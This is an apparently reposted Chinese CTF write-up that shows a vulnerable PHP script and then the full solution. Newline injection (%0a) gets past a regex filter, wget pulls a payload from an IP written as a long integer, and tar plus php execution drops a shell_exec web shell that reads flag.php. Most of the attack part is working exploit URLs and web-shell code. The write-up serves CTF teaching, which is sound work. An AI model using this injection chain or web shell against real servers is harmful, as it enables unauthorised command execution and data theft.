您的位置:首页 > 其它

CTF web题总结--绕过正则表达式

2017-08-30 19:06 423 查看
代码:

<?php
highlight_file(__FILE__);

$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);

$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}

exec('./ ' . implode(" ", $args));
?>


解题:

从源码可以看出index.php可以执行纯字母数字的linux命令,目标是去读flag.php文件中的flag.

1. 利用换行可绕过正则表达式执行命令。

2. 通过生成ip地址长整数绕过正则表达式,下载exploit脚本。

3. 通过tar命令将无后缀脚本打包,再用php命令执行

Example: http://localhost/index.php?args[]=whatever%0a&args[]=mkdir&args[]=test%0a&args[]=cd&args[]=test%0a&args[]=wget&args[]=3232254721(本地ip的长整型,wget IP是会获得首页,所以可以把脚本写到index.html里) http://localhost/index.php?args[]=whatever%0a&args[]=tar&args[]=cvf&args[]=exploit&args[]=test%0a&args[]=php&args[]=exploit[/code] 
可以看到./后面跟了一个空格,所以无论如何都没有办法一条命令解决。这个时候需要使用多条命令。

首先使用%0A做截断,相当于换行执行之后的命令。之后就是想办法传入shell

因为没有办法直接下载一个php文件(正则限制不能包含点)

<?php
file_put_contents('shell.php', '<?php header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);?>
');
?>


所以将上面的脚本放到自己的服务器上,然后通过wget获取之后用tar打包

然后再用php执行tar包即可写入一个shell文件,然后就可以拿到flag

http://localhost/shell.php?cat flag.php
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: